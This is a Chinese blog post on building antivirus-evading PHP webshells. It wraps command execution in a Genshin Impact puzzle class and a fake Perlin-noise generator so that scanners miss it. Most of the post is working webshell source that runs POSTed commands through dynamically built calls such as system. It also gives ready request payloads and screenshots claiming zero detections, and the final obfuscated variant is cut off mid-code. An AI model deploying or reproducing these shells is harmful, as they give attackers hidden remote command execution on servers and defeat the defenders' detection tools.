使用分支对抗进行webshell bypass

使用分支对抗进行webshell bypass

前言

对于webshell免杀来说,类绕过是最有效果且不易被检测出来的,那如果我们对类进行操作,在类里面加入一些算法和混淆代码,让代码逻辑变得十分混乱,不易读,甚至读不懂,但是却能够执行命令,可以rce,那岂不是可以bypass所有的杀毒软件和云沙箱了吗?

利用稻妻雷元素方块阵

《原神》中的稻妻雷元素方块阵是一个解谜游戏
下面是示例代码:

  1. class InazumaPuzzle {
  2. private $blockA = 0;
  3. private $blockB = 0;
  4. private $blockC = 0;
  5. private $blockD = 0;
  6. private $MAX_ENUM = 2;
  7. private $MIN_ENUM = 0;
  8. public function __construct() {
  9. $this->blockA = 2;
  10. $this->blockB = 0;
  11. $this->blockC = 0;
  12. $this->blockD = 2;
  13. }
  14. private function setBackBlock($block) {
  15. $setType = $this->MIN_ENUM;
  16. $maxType = $this->MAX_ENUM;
  17. switch ($block) {
  18. case 'A':
  19. if ($this->blockA == $maxType) {
  20. $this->blockA = $setType;
  21. return true;
  22. } else {
  23. return false;
  24. }
  25. case 'B':
  26. if ($this->blockB == $maxType) {
  27. $this->blockB = $setType;
  28. return true;
  29. } else {
  30. return false;
  31. }
  32. case 'C':
  33. if ($this->blockC == $maxType) {
  34. $this->blockC = $setType;
  35. return true;
  36. } else {
  37. return false;
  38. }
  39. case 'D':
  40. if ($this->blockD == $maxType) {
  41. $this->blockD = $setType;
  42. return true;
  43. } else {
  44. return false;
  45. }
  46. default:
  47. throw new Exception("bad_args", 1);
  48. }
  49. }
  50. private function hit($blockIdx) {
  51. global $text;
  52. $text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");
  53. switch ($blockIdx) {
  54. case "A":
  55. if (!$this->setBackBlock("A")) {
  56. $this->blockA += 1;
  57. }
  58. if (!$this->setBackBlock("B")) {
  59. $this->blockB += 1;
  60. }
  61. break;
  62. case "B":
  63. if (!$this->setBackBlock("A")) {
  64. $this->blockA += 1;
  65. }
  66. if (!$this->setBackBlock("B")) {
  67. $this->blockB += 1;
  68. }
  69. if (!$this->setBackBlock("C")) {
  70. $this->blockC += 1;
  71. }
  72. break;
  73. case "C":
  74. if (!$this->setBackBlock("B")) {
  75. $this->blockB += 1;
  76. }
  77. if (!$this->setBackBlock("C")) {
  78. $this->blockC += 1;
  79. }
  80. if (!$this->setBackBlock("D")) {
  81. $this->blockD += 1;
  82. }
  83. break;
  84. case "D":
  85. if (!$this->setBackBlock("C")) {
  86. $this->blockC += 1;
  87. }
  88. if (!$this->setBackBlock("D")) {
  89. $this->blockD += 1;
  90. }
  91. break;
  92. default:
  93. throw new Exception("bad_args", 1);
  94. }
  95. }
  96. public function __AFG50CE4_RG1() {
  97. global $puzz_writeup;
  98. if (count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP",1);for ($i = 0; $i < count($puzz_writeup);
  99. // bcdufvcf%00
  100. $i++) {
  101. if (strcmp($puzz_writeup[$i],"A") !== 0 and strcmp($puzz_writeup[$i],"B") !== 0 and strcmp($puzz_writeup[$i]
  102. ,"C") !== 0 and strcmp($puzz_writeup[$i],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");
  103. }
  104. for ($i = 0; $i < count($puzz_writeup); $i++) $this -> hit($puzz_writeup[$i]);
  105. global $userans;
  106. $userans =$this ->blockA + $this-> blockB + $this -> blockC+ $this -> blockD;
  107. }
  108. public function getLockerStatus() {
  109. global $text;$text =strrev($text);
  110. if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true;
  111. else return false;
  112. }
  113. }
  114. function pause($obj) {
  115. global $appor5nnb;
  116. if (!$appor5nnb -> getLockerStatus()) die();
  117. return $obj;
  118. }

根据InazumaPuzzle类的构造函数,方块的初始状态如下:

  1. blockA = 2
  2. blockB = 0
  3. blockC = 0
  4. blockD = 2

每个方块的状态值可以循环从0到2(即最小值为0,最大值为2)。

setBackBlock() 方法的作用

  1. setBackBlock()方法用于尝试将指定方块重置为其最小状态(即0)。如果该方块已经处于最大状态(即2),则它可以被重置为最小状态并返回true;否则它不会改变,并返回false

hit() 方法的行为

  1. hit()方法接受一个方块标识符(如"A""B""C""D"),然后执行以下操作:
  2. 对于点击的方块及其关联的方块调用setBackBlock()。
  3. 如果setBackBlock()返回false,则相应方块的状态加1

具体来说:

  1. 点击A:尝试重置AB,若不能重置,则它们各自加1
  2. 点击B:尝试重置ABC,若不能重置,则它们各自加1
  3. 点击C:尝试重置BCD,若不能重置,则它们各自加1
  4. 点击D:尝试重置CD,若不能重置,则它们各自加1

解析输入序列 ABBCCD

现在我们来按照给定的输入序列ABBCCD一步一步地看每个点击对方块状态的影响:
第一步:点击 A

  1. 尝试重置A(当前状态为2),成功重置为0
  2. 尝试重置B(当前状态为0),失败,因此B变为1
  3. 结果:blockA = 0, blockB = 1, blockC = 0, blockD = 2

第二步:点击 B

  1. 尝试重置A(当前状态为0),失败,因此A变为1
  2. 尝试重置B(当前状态为1),失败,因此B变为2
  3. 尝试重置C(当前状态为0),失败,因此C变为1
  4. 结果:blockA = 1, blockB = 2, blockC = 1, blockD = 2

第三步:再次点击 B

  1. 尝试重置A(当前状态为1),失败,因此A变为2
  2. 尝试重置B(当前状态为2),成功重置为0
  3. 尝试重置C(当前状态为1),失败,因此C变为2
  4. 结果:blockA = 2, blockB = 0, blockC = 2, blockD = 2

第四步:点击 C

  1. 尝试重置B(当前状态为0),失败,因此B变为1
  2. 尝试重置C(当前状态为2),成功重置为0
  3. 尝试重置D(当前状态为2),成功重置为0
  4. 结果:blockA = 2, blockB = 1, blockC = 0, blockD = 0

第五步:再次点击 C

  1. 尝试重置B(当前状态为1),失败,因此B变为2
  2. 尝试重置C(当前状态为0),失败,因此C变为1
  3. 尝试重置D(当前状态为0),失败,因此D变为1
  4. 结果:blockA = 2, blockB = 2, blockC = 1, blockD = 1

第六步:点击 D

  1. 尝试重置C(当前状态为1),失败,因此C变为2
  2. 尝试重置D(当前状态为1),失败,因此D变为2
  3. 结果:blockA = 2, blockB = 2, blockC = 2, blockD = 2

最终,所有方块的状态都变成了2,满足了getLockerStatus()方法中的条件,即所有方块的状态相同,因此返回true,表示谜题被正确解开。

结合稻妻雷元素方块阵的webshell

  1. <?php
  2. error_reporting(0);
  3. header("Content-type:text/html;charset=utf-8");
  4. foreach($_POST as $key => $value) $$key = $value;
  5. if (strlen($wpstring) === 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");
  6. $puzz_writeup = array();
  7. for ($i = 0; $i < strlen($wpstring); $i++) array_push($puzz_writeup, $wpstring[$i]);
  8. class InazumaPuzzle {
  9. private $blockA = 0;
  10. private $blockB = 0;
  11. private $blockC = 0;
  12. private $blockD = 0;
  13. private $MAX_ENUM = 2;
  14. private $MIN_ENUM = 0;
  15. public function __construct() {
  16. $this->blockA = 2;
  17. $this->blockB = 0;
  18. $this->blockC = 0;
  19. $this->blockD = 2;
  20. }
  21. private function setBackBlock($block) {
  22. $setType = $this->MIN_ENUM;
  23. $maxType = $this->MAX_ENUM;
  24. switch ($block) {
  25. case 'A':
  26. if ($this->blockA == $maxType) {
  27. $this->blockA = $setType;
  28. return true;
  29. } else {
  30. return false;
  31. }
  32. case 'B':
  33. if ($this->blockB == $maxType) {
  34. $this->blockB = $setType;
  35. return true;
  36. } else {
  37. return false;
  38. }
  39. case 'C':
  40. if ($this->blockC == $maxType) {
  41. $this->blockC = $setType;
  42. return true;
  43. } else {
  44. return false;
  45. }
  46. case 'D':
  47. if ($this->blockD == $maxType) {
  48. $this->blockD = $setType;
  49. return true;
  50. } else {
  51. return false;
  52. }
  53. default:
  54. throw new Exception("bad_args", 1);
  55. }
  56. }
  57. private function hit($blockIdx) {
  58. global $text;
  59. $text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");
  60. switch ($blockIdx) {
  61. case "A":
  62. if (!$this->setBackBlock("A")) {
  63. $this->blockA += 1;
  64. }
  65. if (!$this->setBackBlock("B")) {
  66. $this->blockB += 1;
  67. }
  68. break;
  69. case "B":
  70. if (!$this->setBackBlock("A")) {
  71. $this->blockA += 1;
  72. }
  73. if (!$this->setBackBlock("B")) {
  74. $this->blockB += 1;
  75. }
  76. if (!$this->setBackBlock("C")) {
  77. $this->blockC += 1;
  78. }
  79. break;
  80. case "C":
  81. if (!$this->setBackBlock("B")) {
  82. $this->blockB += 1;
  83. }
  84. if (!$this->setBackBlock("C")) {
  85. $this->blockC += 1;
  86. }
  87. if (!$this->setBackBlock("D")) {
  88. $this->blockD += 1;
  89. }
  90. break;
  91. case "D":
  92. if (!$this->setBackBlock("C")) {
  93. $this->blockC += 1;
  94. }
  95. if (!$this->setBackBlock("D")) {
  96. $this->blockD += 1;
  97. }
  98. break;
  99. default:
  100. throw new Exception("bad_args", 1);
  101. }
  102. }
  103. public function __AFG50CE4_RG1() {
  104. global $puzz_writeup;
  105. if (count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP",1);for ($i = 0; $i < count($puzz_writeup);$i++) {
  106. if (strcmp($puzz_writeup[$i],"A") !== 0 and strcmp($puzz_writeup[$i],"B") !== 0 and strcmp($puzz_writeup[$i],"C") !== 0 and strcmp($puzz_writeup[$i],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");
  107. }
  108. for ($i = 0; $i < count($puzz_writeup); $i++) $this -> hit($puzz_writeup[$i]);
  109. global $userans;
  110. $userans =$this ->blockA + $this-> blockB + $this -> blockC+ $this -> blockD;
  111. }
  112. public function getLockerStatus() {
  113. global $text;$text =strrev($text);
  114. if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true;
  115. else return false;
  116. }
  117. }
  118. function pause($obj) {
  119. global $appor5nnb;
  120. if (!$appor5nnb -> getLockerStatus()) die();
  121. return $obj;
  122. }
  123. $appor5nnb = new InazumaPuzzle();
  124. $appor5nnb -> __AFG50CE4_RG1();
  125. if ($appor5nnb -> getLockerStatus()) $a($b);

payload:

  1. wpstring=ABBCCD&amp;a=system&amp;b=whoami

图片.png
免杀效果:
图片.png

图片.png
微步说很安全

图片.png

柏林噪音

柏林噪声属于基于晶格(Lattice based)的生成算法。其核心思想是定义一个晶格结构,在二维情况下是一个平面网格,在三维情况下则是一个立方体网络。每个晶格顶点都有一个预定义的梯度向量,当给定一个点时(在二维情况下为坐标(x, y),在三维情况下为坐标(x, y, z)),需要计算该点到所在晶格顶点的距离向量,并将这些距离向量与相应的梯度向量做点积运算,得到一系列影响值。
总而言之就是能让代码变得十分复杂,根本读不懂
代码实现:

  1. class PerlinNoise{
  2. private $arrLength = 0;
  3. private $source = "";
  4. private $inputNumArray = array();
  5. private $seeds_array = array();
  6. private $INPUT_NUM_MAX = 0;
  7. private $INPUT_NUM_MIN = 0;
  8. private $BAD_ARGS = false;
  9. public $perlin_noise = array();
  10. public function __construct($arrLength, $MAX_INPUT = 700.4, $MIN_INPUT = 56.7, $source = "GENERATE") {
  11. global $appor5nnb;
  12. if (!$appor5nnb -> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~");
  13. if ($arrLength < 3000 or $arrLength > 9999) {
  14. throw new InvalidArgumentException("Error: Invaild Length");
  15. }
  16. if (strcmp($source,"DIFF_PERLIN") == 0) {
  17. $this -> BAD_ARGS = true;
  18. $source = "GENERATE";
  19. }
  20. $this -> arrLength = $arrLength;
  21. $this -> source = $source;
  22. $this -> INPUT_NUM_MAX = $MAX_INPUT;
  23. $this -> INPUT_NUM_MIN = $MIN_INPUT;
  24. }
  25. public function __CPRBB0R0_l() {
  26. global $userans;
  27. for ($i = 0; $i < $this -> arrLength; $i++) {
  28. if ($this -> BAD_ARGS) {
  29. if ($i > ($userans+391) and $i < (pause($userans+390+8))) {
  30. $result = array($userans + 101,$userans + 93,$userans + (50*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);
  31. array_push($this -> perlin_noise, $result[$i - 400]);
  32. continue;
  33. }
  34. }
  35. $cache = $this -> inputNumArray[$i];
  36. $x1 = round($cache);
  37. $x2 = $x1 + 1;
  38. $grad1 = $this -> seeds_array[$x1 % 255] * 2.0 - 255.0;
  39. $grad2 = $this -> seeds_array[$x2 % 255] * 2.0 - 255.0;
  40. $vec1 = $i - $x1;
  41. $vec2 = $i - $x2;
  42. $t = 3 * pow($vec1, 2) - 2 * pow($vec1, 3);
  43. $product1 = $grad1 * $vec1;
  44. $product2 = $grad2 * $vec2;
  45. $result = $product1 + $t * ($product2 - $product1);
  46. array_push($this -> perlin_noise, $result);
  47. }
  48. }
  49. public function __HNBB70CA_5() {
  50. global $userans;
  51. global ${strval(chr(90+$userans))};
  52. global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};
  53. $cache_noise = pause(array());
  54. for ($i = 400; $i < 406; $i++) {
  55. array_push($cache_noise,$this -> perlin_noise[$i]);
  56. }
  57. $temp_noise = array();
  58. for ($i = 0; $i < count($cache_noise); $i++) {
  59. array_push($temp_noise, $cache_noise[$i]);
  60. }
  61. for ($i = 0; $i < count($temp_noise); $i++) {
  62. $temp_noise[$i] = chr($temp_noise[$i]);
  63. }
  64. $ab = pause(array_map(function($arr){ return chr($arr); },array_slice($this -> perlin_noise,(188*2)+$userans*3,$userans-3)));
  65. $c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));
  66. $c($pcs);
  67. die(urldecode("%3c%62%72%3e%3c%62%72%3e"));
  68. var_dump(array_slice($this -> perlin_noise,1000,800));
  69. }
  70. }

代码解读

关键代码:

  1. $ab = pause(array_map(function($arr) { return chr($arr); }, array_slice($this->perlin_noise, (188*2)+$userans*3, $userans-3)));

array_slice 函数:

  1. array_slice($this->perlin_noise, (188*2)+$userans*3, $userans-3) 提取了 perlin_noise 数组的一部分,起始位置是 (188 * 2) + ($userans * 3),长度是 $userans - 3

array_map 函数:

  1. array_map(function($arr) { return chr($arr); }, ...) 将提取的整数数组转换为对应的ASCII字符数组。
  1. 计算切片位置和长度

假设我们想要提取四个特定的值 [121, 116, 101, 109],那么我们需要确定切片的起始位置和长度:

  1. 起始位置:(188 * 2) + ($userans * 3)
  2. 长度:$userans - 3

例如,如果我们设 $userans = 7,则:

  1. 起始位置:(188 * 2) + (7 * 3) = 376 + 21 = 397
  2. 长度:7 - 3 = 4

这意味着我们将从 perlin_noise 数组的索引 397 开始,提取长度为 4 的子数组。

  1. 确保 perlin_noise 包含所需值

为了让 array_slice 提取出 [121, 116, 101, 109],我们需要在 perlin_noise 数组的相应位置插入这些值。即:

  1. $this->perlin_noise[397] = 121; // ASCII 'y'
  2. $this->perlin_noise[398] = 116; // ASCII 't'
  3. $this->perlin_noise[399] = 101; // ASCII 'e'
  4. $this->perlin_noise[400] = 109; // ASCII 'm'
  1. 控制 userans 和其他参数

为了确保上述计算正确无误,需要控制 userans 和其他可能影响 perlin_noise 数组生成的参数。特别是,在构造 PerlinNoise 对象时,应该确保 arrLength 足够大,以容纳所需的索引范围,并且初始化过程中不会覆盖这些特定值。
示例代码:

  1. $userans = 7;
  2. // 假设 PerlinNoise 对象已经创建,并且 arrLength 足够大
  3. $cvb33ff55 = new PerlinNoise(401, 700.4, 56.7, "DIFF_PERLIN");
  4. // 手动设置 perlin_noise 数组中的特定值
  5. $cvb33ff55->perlin_noise[397] = 121; // ASCII 'y'
  6. $cvb33ff55->perlin_noise[398] = 116; // ASCII 't'
  7. $cvb33ff55->perlin_noise[399] = 101; // ASCII 'e'
  8. $cvb33ff55->perlin_noise[400] = 109; // ASCII 'm'
  9. // 继续执行后续操作
  10. $cvb33ff55->__BHUYTVV8_1();
  11. $cvb33ff55->__CPRBB0R0_l();
  12. // 模拟生成 ab 数组
  13. $ab = pause(array_map(function($arr) { return chr($arr); }, array_slice($cvb33ff55->perlin_noise, (188*2)+$userans*3, $userans-3)));
  14. // 输出结果验证
  15. var_dump($ab); // 应该输出 ['y', 't', 'e', 'm']

通过精确控制 perlin_noise 数组中特定索引处的值,并结合适当的 userans 参数,可以确保 $ab 数组包含所需的ASCII码值 [121, 116, 101, 109],这个时候$ad=ystem。
这个时候我们令$b=s

  1. $c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));

那么$c=system了,就构造好了命令执行函数,$pcs就是我们要执行的命令。

结合稻妻雷元素方块阵构造webshell

  1. <?php
  2. error_reporting(0);
  3. header("Content-type:text/html;charset=utf-8");
  4. foreach($_POST as $key => $value) $$key = $value;
  5. if (strlen($wpstring) === 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");
  6. $puzz_writeup = array();
  7. for ($i = 0; $i < strlen($wpstring); $i++) array_push($puzz_writeup, $wpstring[$i]);
  8. class PerlinNoise{
  9. private $arrLength = 0;
  10. private $source = "";
  11. private $inputNumArray = array();
  12. private $seeds_array = array();
  13. private $INPUT_NUM_MAX = 0;
  14. private $INPUT_NUM_MIN = 0;
  15. private $BAD_ARGS = false;
  16. public $perlin_noise = array();
  17. public function __construct($arrLength, $MAX_INPUT = 700.4, $MIN_INPUT = 56.7, $source = "GENERATE") {
  18. global $appor5nnb;
  19. if (!$appor5nnb -> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~");
  20. if ($arrLength < 3000 or $arrLength > 9999) {
  21. throw new InvalidArgumentException("Error: Invaild Length");
  22. }
  23. if (strcmp($source,"DIFF_PERLIN") == 0) {
  24. $this -> BAD_ARGS = true;
  25. $source = "GENERATE";
  26. }
  27. $this -> arrLength = $arrLength;
  28. $this -> source = $source;
  29. $this -> INPUT_NUM_MAX = $MAX_INPUT;
  30. $this -> INPUT_NUM_MIN = $MIN_INPUT;
  31. }
  32. public function __CPRBB0R0_l() {
  33. global $userans;
  34. for ($i = 0; $i < $this -> arrLength; $i++) {
  35. if ($this -> BAD_ARGS) {
  36. if ($i > ($userans+391) and $i < (pause($userans+390+8))) {
  37. $result = array($userans + 101,$userans + 93,$userans + (50*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);
  38. array_push($this -> perlin_noise, $result[$i - 400]);
  39. continue;
  40. }
  41. }
  42. $cache = $this -> inputNumArray[$i];
  43. $x1 = round($cache);
  44. $x2 = $x1 + 1;
  45. $grad1 = $this -> seeds_array[$x1 % 255] * 2.0 - 255.0;
  46. $grad2 = $this -> seeds_array[$x2 % 255] * 2.0 - 255.0;
  47. $vec1 = $i - $x1;
  48. $vec2 = $i - $x2;
  49. $t = 3 * pow($vec1, 2) - 2 * pow($vec1, 3);
  50. $product1 = $grad1 * $vec1;
  51. $product2 = $grad2 * $vec2;
  52. $result = $product1 + $t * ($product2 - $product1);
  53. array_push($this -> perlin_noise, $result);
  54. }
  55. }
  56. public function __HNBB70CA_5() {
  57. global $userans;
  58. global ${strval(chr(90+$userans))};
  59. global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};
  60. $cache_noise = pause(array());
  61. for ($i = 400; $i < 406; $i++) {
  62. array_push($cache_noise,$this -> perlin_noise[$i]);
  63. }
  64. $temp_noise = array();
  65. for ($i = 0; $i < count($cache_noise); $i++) {
  66. array_push($temp_noise, $cache_noise[$i]);
  67. }
  68. for ($i = 0; $i < count($temp_noise); $i++) {
  69. $temp_noise[$i] = chr($temp_noise[$i]);
  70. }
  71. $ab = pause(array_map(function($arr){ return chr($arr); },array_slice($this -> perlin_noise,(188*2)+$userans*3,$userans-3)));
  72. $c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));
  73. $c($pcs);
  74. // 希儿世界第一可爱!
  75. die(urldecode("%3c%62%72%3e%3c%62%72%3e"));
  76. var_dump(array_slice($this -> perlin_noise,1000,800));
  77. }
  78. }
  79. class InazumaPuzzle {
  80. private $blockA = 0;
  81. private $blockB = 0;
  82. private $blockC = 0;
  83. private $blockD = 0;
  84. private $MAX_ENUM = 2;
  85. private $MIN_ENUM = 0;
  86. public function __construct() {
  87. $this->blockA = 2;
  88. $this->blockB = 0;
  89. $this->blockC = 0;
  90. $this->blockD = 2;
  91. }
  92. private function setBackBlock($block) {
  93. $setType = $this->MIN_ENUM;
  94. $maxType = $this->MAX_ENUM;
  95. switch ($block) {
  96. case 'A':
  97. if ($this->blockA == $maxType) {
  98. $this->blockA = $setType;
  99. return true;
  100. } else {
  101. return false;
  102. }
  103. case 'B':
  104. if ($this->blockB == $maxType) {
  105. $this->blockB = $setType;
  106. return true;
  107. } else {
  108. return false;
  109. }
  110. case 'C':
  111. if ($this->blockC == $maxType) {
  112. $this->blockC = $setType;
  113. return true;
  114. } else {
  115. return false;
  116. }
  117. case 'D':
  118. if ($this->blockD == $maxType) {
  119. $this->blockD = $setType;
  120. return true;
  121. } else {
  122. return false;
  123. }
  124. default:
  125. throw new Exception("bad_args", 1);
  126. }
  127. }
  128. private function hit($blockIdx) {
  129. global $text;
  130. $text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");
  131. switch ($blockIdx) {
  132. case "A":
  133. if (!$this->setBackBlock("A")) {
  134. $this->blockA += 1;
  135. }
  136. if (!$this->setBackBlock("B")) {
  137. $this->blockB += 1;
  138. }
  139. break;
  140. case "B":
  141. if (!$this->setBackBlock("A")) {
  142. $this->blockA += 1;
  143. }
  144. if (!$this->setBackBlock("B")) {
  145. $this->blockB += 1;
  146. }
  147. if (!$this->setBackBlock("C")) {
  148. $this->blockC += 1;
  149. }
  150. break;
  151. case "C":
  152. if (!$this->setBackBlock("B")) {
  153. $this->blockB += 1;
  154. }
  155. if (!$this->setBackBlock("C")) {
  156. $this->blockC += 1;
  157. }
  158. if (!$this->setBackBlock("D")) {
  159. $this->blockD += 1;
  160. }
  161. break;
  162. case "D":
  163. if (!$this->setBackBlock("C")) {
  164. $this->blockC += 1;
  165. }
  166. if (!$this->setBackBlock("D")) {
  167. $this->blockD += 1;
  168. }
  169. break;
  170. default:
  171. throw new Exception("bad_args", 1);
  172. }
  173. }
  174. public function __AFG50CE4_RG1() {
  175. global $puzz_writeup;
  176. if (count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP",1);for ($i = 0; $i < count($puzz_writeup);$i++) {
  177. if (strcmp($puzz_writeup[$i],"A") !== 0 and strcmp($puzz_writeup[$i],"B") !== 0 and strcmp($puzz_writeup[$i],"C") !== 0 and strcmp($puzz_writeup[$i],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");
  178. }
  179. for ($i = 0; $i < count($puzz_writeup); $i++) $this -> hit($puzz_writeup[$i]);
  180. global $userans;
  181. $userans =$this ->blockA + $this-> blockB + $this -> blockC+ $this -> blockD;
  182. }
  183. public function getLockerStatus() {
  184. global $text;$text =strrev($text);
  185. if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true;
  186. else return false;
  187. }
  188. }
  189. function pause($obj) {
  190. global $appor5nnb;
  191. if (!$appor5nnb -> getLockerStatus()) die();
  192. return $obj;
  193. }
  194. $appor5nnb = new InazumaPuzzle();
  195. $appor5nnb -> __AFG50CE4_RG1();
  196. $cvb33ff55 = new PerlinNoise(3000, 700.4, 56.7, "DIFF_PERLIN");
  197. $cvb33ff55 -> __CPRBB0R0_l();
  198. $cvb33ff55 ->__HNBB70CA_5();

payload:

  1. wpstring=ABBCCD&amp;b=s&amp;pcs=whoami

图片.png
免杀效果:

图片.png

图片.png
也是没有检测出来

加入一些无用代码和注释

  1. <?php
  2. //error_reporting(0);
  3. header("Content-type:text/html;charset=utf-8");
  4. foreach($_POST as $key => $value) $$key = $value;
  5. if (strlen($wpstring) === 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");
  6. $puzz_writeup = array();
  7. for ($i = 0; $i < strlen($wpstring); $i++) array_push($puzz_writeup, $wpstring[$i]);
  8. class PerlinNoise{
  9. private $arrLength = 0;
  10. private $source = "";
  11. private $inputNumArray = array();
  12. private $seeds_array = array();
  13. private $INPUT_NUM_MAX = 0;
  14. private $INPUT_NUM_MIN = 0;
  15. private $BAD_ARGS = false;
  16. public $perlin_noise = array();
  17. private function randomFloat(){
  18. $_ = 110+4;
  19. $__ = ((int)(600/2))-184;
  20. $___ = 115;
  21. $____ = 100-2;
  22. $_____ = 117;
  23. $______ = 113+2;
  24. $max = $this -> INPUT_NUM_MAX;
  25. $min = $this -> INPUT_NUM_MIN;
  26. $num = $min + mt_rand() / mt_getrandmax() * ($max - $min);
  27. return sprintf("%.2f",$num);
  28. }
  29. private function __PLvB4CR0_Z() {
  30. srand(time());
  31. for ($i = 0; $i < $this -> arrLength; $i++) {
  32. $eachNum = pause(rand(0,255));
  33. array_push($this -> seeds_array, $eachNum);
  34. }
  35. }
  36. private function __PLAB4CR0_o() {
  37. if (strcmp($this -> source, "GENERATE") == 0) {
  38. srand(time());
  39. for ($i = 0; $i < $this -> arrLength; $i++) {
  40. $eachNum = pause($this -> randomFloat());
  41. array_push($this -> inputNumArray, floatval($eachNum));
  42. }
  43. } else if (strcmp($this -> source,"SYSLOG") == 0) {
  44. $handle = fopen("/etc/messages","r");
  45. $count = 0;
  46. while(($char = fgetc($handle)) !== false) {
  47. if ($count == $this -> INPUT_NUM_MAX - 1) break;
  48. if (($ascii_value = ord($char)) and $ascii_value % 1 !== 0) {
  49. array_push($this -> inputNumArray, sprintf("%.2f",$ascii_value / 2.3));
  50. $count++;
  51. } else continue;
  52. }
  53. }
  54. }
  55. public function __construct($arrLength, $MAX_INPUT = 700.4, $MIN_INPUT = 56.7, $source = "GENERATE") {
  56. global $appor5nnb;
  57. if (!$appor5nnb -> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~");
  58. if ($arrLength < 3000 or $arrLength > 9999) {
  59. throw new InvalidArgumentException("Error: Invaild Length");
  60. }
  61. if (strcmp($source,"DIFF_PERLIN") == 0) {
  62. $this -> BAD_ARGS = true;
  63. $source = "GENERATE";
  64. }
  65. $this -> arrLength = $arrLength;
  66. $this -> source = $source;
  67. $this -> INPUT_NUM_MAX = $MAX_INPUT;
  68. $this -> INPUT_NUM_MIN = $MIN_INPUT;
  69. }
  70. public function __BHUYTVV8_1() {
  71. $this -> __PLAB4CR0_o();
  72. $this -> __PLvB4CR0_Z();
  73. }
  74. public function __CPRBB0R0_l() {
  75. global $userans;
  76. for ($i = 0; $i < $this -> arrLength; $i++) {
  77. if ($this -> BAD_ARGS) {
  78. if ($i > ($userans+391) and $i < (pause($userans+390+8))) {
  79. $result = array($userans + 101,$userans + 93,$userans + (50*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);
  80. array_push($this -> perlin_noise, $result[$i - 400]);
  81. continue;
  82. }
  83. }
  84. $cache = $this -> inputNumArray[$i];
  85. $x1 = round($cache);
  86. $x2 = $x1 + 1;
  87. $grad1 = $this -> seeds_array[$x1 % 255] * 2.0 - 255.0;
  88. $grad2 = $this -> seeds_array[$x2 % 255] * 2.0 - 255.0;
  89. $vec1 = $i - $x1;
  90. $vec2 = $i - $x2;
  91. $t = 3 * pow($vec1, 2) - 2 * pow($vec1, 3);
  92. $product1 = $grad1 * $vec1;
  93. $product2 = $grad2 * $vec2;
  94. $result = $product1 + $t * ($product2 - $product1);
  95. array_push($this -> perlin_noise, $result);
  96. }
  97. }
  98. public function __HNBB70CA_5() {
  99. global $userans;
  100. global ${strval(chr(90+$userans))};
  101. global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};
  102. $cache_noise = pause(array());
  103. for ($i = 400; $i < 406; $i++) {
  104. array_push($cache_noise,$this -> perlin_noise[$i]);
  105. }
  106. $temp_noise = array();
  107. for ($i = 0; $i < count($cache_noise); $i++) {
  108. array_push($temp_noise, $cache_noise[$i]);
  109. }
  110. for ($i = 0; $i < count($temp_noise); $i++) {
  111. $temp_noise[$i] = chr($temp_noise[$i]);
  112. }
  113. $ab = pause(array_map(function($arr){ return chr($arr); },array_slice($this -> perlin_noise,(188*2)+$userans*3,$userans-3)));
  114. $c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));
  115. $c($pcs);
  116. // 希儿世界第一可爱!
  117. die(urldecode("%3c%62%72%3e%3c%62%72%3e"));
  118. var_dump(array_slice($this -> perlin_noise,1000,800));
  119. }
  120. }
  121. class InazumaPuzzle/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!*/{private $blockA = 0;private $blockB = 0;private $blockC= 0;private $blockD = 0;private/*\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 希儿世界第一可爱!\00\00\00%00%00fvjivgjisghtrehgtghbvtrifh 